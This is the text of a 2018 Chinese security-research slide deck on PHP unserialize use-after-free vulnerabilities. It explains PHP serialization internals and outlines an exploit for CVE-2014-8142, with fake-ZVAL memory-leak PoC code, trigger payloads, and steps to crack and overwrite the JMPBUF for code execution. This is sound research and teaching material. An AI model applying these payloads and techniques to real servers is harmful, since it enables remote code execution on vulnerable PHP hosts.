PHP反序列化UAF漏洞的研究与Exp编写 知道创宇 牛保龙 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
目录 1. 简介 2. PHP 序列化反序列化 3. Unserialize 漏洞类型分类 4. Unserialize UAF 漏洞历史 5. CVE-2014-8142 Exp 6. 参考 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
1. 简介 2012~now 知道创宇 Web安全研究 Binary 安全研究(嵌入式、Linux) QQ:448354223 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
2. PHP 序列化/反序列化 2.1 Serialize 2.2 Unserialize 2.3 序列数据结构 2.4 反序列化过程 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
$m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; <?php $m = new StdClass(); $u = str_repeat("A", 10); $m->aaa = array(1,2,&$u,4,5); $m->bbb = 1; $m->ccc = &$u; $z = serialize($m); $z = str_replace("bbb", "aaa", $z); var_dump($z); $y = unserialize($z); var_dump($y); ?> 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
2.1 Serialize string(117) "O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}" 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
2.2 Unserialize object(stdClass)#2 (2) { ["aaa"]=> int(1) ["ccc"]=> &string(10) "1" } 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
2.3 序列数据结构 a – array 4 b – Boolean 3 d – double 2 i – integer 1 o - common object r – reference 7 s - non-escaped binary string S - escaped binary string 6 C - custom object O – class 5 N – null 0 R - pointer reference U - unicode string 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
2.4 反序列化过程 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 1 stdClass var _ hash 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
stdClass var _ hash 1 2 aaa array O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 1 2 aaa array stdClass var _ hash 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;} 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
3. Unserialize漏洞类型分类 Web —— PHP 对象注入 Binary —— use after free 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
4. Unserialize UAF漏洞历史 http://www.cvedetails.com/cve/CVE-2010-2225/ Stefan Esser SyScan 2010 EXP 未公布 http://www.cvedetails.com/cve/CVE-2014-8142/ Tim Michaud EXP 未公布 http://www.cvedetails.com/cve/CVE-2015-0231/ Tim Michaud https://github.com/80vul/phpcodz/blob/master/research/pch-019.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-020.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-021.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-022.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-025.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-026.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-027.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-028.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-029.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-030.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-031.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-032.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-033.md Ryat https://github.com/80vul/phpcodz/blob/master/research/pch-034.md Ryat | HITCON 2015 500 blog.knownsec.com/2015/08/php-7-zend_hash_if_full_do_resize-use-after-free-analysis/ PHP7 & me 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5. CVE-2014-8142 Exp 5.1 Leak memory info 5.2 Leak std_object_handlers addrs 5.3 Leak libphp5.so ELF info 5.4 Leak useful PHP kernel functions 5.5 Leak JMPBUF 5.6 Crack JMPBUF 5.7 Overwrite JMPBUF 5.8 Trigger exception 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1 Leak memory info 5.1.1 ZVAL structure 5.1.2 Fake ZVAL 5.1.3 Use after free 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1.1 ZVAL structure struct _zval_struct { /* Variable information */ zvalue_value value; /* value */ zend_uint refcount__gc; zend_uchar type; /* active type */ zend_uchar is_ref__gc; }; PHP使用这个结构来存储变量的所有数据 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1.1 ZVAL structure 属性名 含义 默认值 value 存储变量的值 refcount__gc 表示引用计数 1 type 变量具体的类型 is_ref__gc 表示是否为引用 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1.1 ZVAL structure typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct { char *val; int len; } str; HashTable *ht; /* hash table value */ zend_object_value obj; } zvalue_value; 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1.1 Fake ZVAL <?php $fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000a, //length of string 0x00000000, //refcount 0x00000006 //data type ); 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.1.2 Use after free $obj = 'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:6;}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; } 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
$obj=unserialize($obj); for($i = 0; $i < 5; $i++) { <?php $fakezval = pack( 'IIII', //unsigned int 0x08048000, //address to leak 0x0000000a, //length of string 0x00000000, //refcount 0x00000006 //data type ); $obj = 'O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:6;}'; $obj=unserialize($obj); for($i = 0; $i < 5; $i++) { $v[$i]=$fakezval.$i; } echo $obj->ccc; ?> 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
$obj = 'O:8:"stdClass":4:{'; <?php $addr = pack("I", 0x08048000); $count = pack("I", 0xa); $obj = 'O:8:"stdClass":4:{'; $obj .= 's:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:10:"AAAAAAAAAA";i:3;i:4;i:4;i:5;}'; $obj .= 's:3:"aaa";i:1;'; $obj .= 's:3:"ccc";R:7;'; $obj .= 's:3:"ddd";S:17:"'.$addr.$count.'\00\00\00\00\06\00\0B\BC\CC";}'; var_dump(unserialize($obj)); ?> 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.2 Leak std_object_handlers addrs 5.2.1 Leak a object 5.2.1 Object value structure 5.2.3 Object ZVAL structure 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.2.1 Leak a object 脚本演示 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.2.1 Object structure typedef struct _zend_object_value { zend_object_handle handle; //对象实体的存储索引 const zend_object_handlers *handlers; //标准对象处理函数 } zend_object_value; 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.2.3 Object ZVAL structure <?php $fake_object_zval = pack( 'IIII', //unsigned int 0xXXXXXXXX, //handle 0xB7XXXXXX, //handlers, wo need this 0x00000008, //refcount 0x00000005 //data type ); 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.3 Leak libphp5.so ELF info Std_object_handlers in libphp5.so 0xB7XXXXXX & ~0xfff 0xB7XXX000 – 0X1000 == \x7fELF ?? 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.4 Leak useful PHP kernel functions Parse libphp5.so ELF Parse libphp5.so dynamic Find dynstr addr Find dynsym addr Leak executor_globals、php_execute_script、zend_eval_string 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.5 Leak JMPBUF 5.5.1 JMPBUF 5.5.2 Leak executor_globals 5.5.3 Leak executor_globals->bailout == JMPBUF 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.5.1 JMPBUF setjmp/longjmp 异常处理机制 jmp_buf 用于保存恢复调用环境所需的寄存器信息 php executor_globals 保存指向当前 jmp_buf 的指针 glibc uses pointer obfuscation for ESP and EIP (set_jmp) http://hmarco.org/bugs/CVE-2013-4788.html 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.6 Crack JMPBUF 5.6.1 反汇编 setjmp() 5.6.2 eip 就是 php_execute_script 函数调用 set_jmp 的位置 5.6.3 根据 eip 反推出 pointer_guard 值 5.6.4 根据 pointer_guard 还原出 esp 值 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.6.1 反汇编setjmp() mov 0x4(%esp),%eax //eax == jmp_buf mov %ebx,(%eax) //第1个寄存器ebx mov %esi,0x4(%eax) //第2个寄存器esi mov %edi,0x8(%eax) //第3个寄存器edi lea 0x4(%esp),%ecx xor %gs:0x18,%ecx rol $0x9,%ecx mov %ecx,0x10(%eax) //第5个寄存器esp mov (%esp),%ecx mov %ecx,0x14(%eax) //第6个寄存器eip mov %ebp,0xc(%eax) //第4个寄存器ebp 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7 Overwrite JMPBUF 5.7.1 JMPBUF 位置向前搜索内存 5.7.2 搜索 XX 00 00 00 ( 0x10 <= XX <= 0x88 ) ,当作一个 PHP 内存缓存块 5.7.3 释放 PHP 内存缓存块 5.7.4 重用 PHP内存缓存块(一次栈上写数据机会,自定义一个缓存块) 5.7.5 释放自定义缓存块 5.7.6 重用自定义缓存块 5.7.7 重复5.7.5~5.7.6过程,直到覆盖 JMPBUF,控制异常恢复时寄存器环境 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.3 释放 PHP 内存缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.4 重用 PHP 内存缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.5 释放自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.6 重用自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.5.1 再释放自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.6.1 再重用自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.5.2 再再释放自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.6.2 再再重用自定义缓存块 ebx esi edi ebp esp == JMPBUF + 0x18 eip == zend_eval_string(phpcode, retval_ptr, string_name) 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.7.6.2 再再重用自定义缓存块 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.8 Trigger exception unserialize触发一个FATAL ERROR 调用php_error() 调用php_error_cb() 调用zend_bailout() 调用langjmp() longjmp()回到JMPBUF中的寄存器环境 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
5.8 Trigger exception <?php var_dump(unserialize('O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}')); 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
6. 参考 http://blog.sina.com.cn/s/blog_4c9ba28501000ar4.html https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8142 http://www.php-internals.com/book/?p=chapt03/03-01-00-variables- structure http://www.php-internals.com/book/?p=chapt06/06-02-php-memory- manager http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into- the-phpinterpreter http://www.inulledmyself.com/2015/05/exploiting-memory-corruption- bugs-in.html https://github.com/pwning/public- writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php 2018/11/12 北京知道创宇信息技术有限公司 牛保龙
谢谢 Q&A 2018/11/12 北京知道创宇信息技术有限公司 牛保龙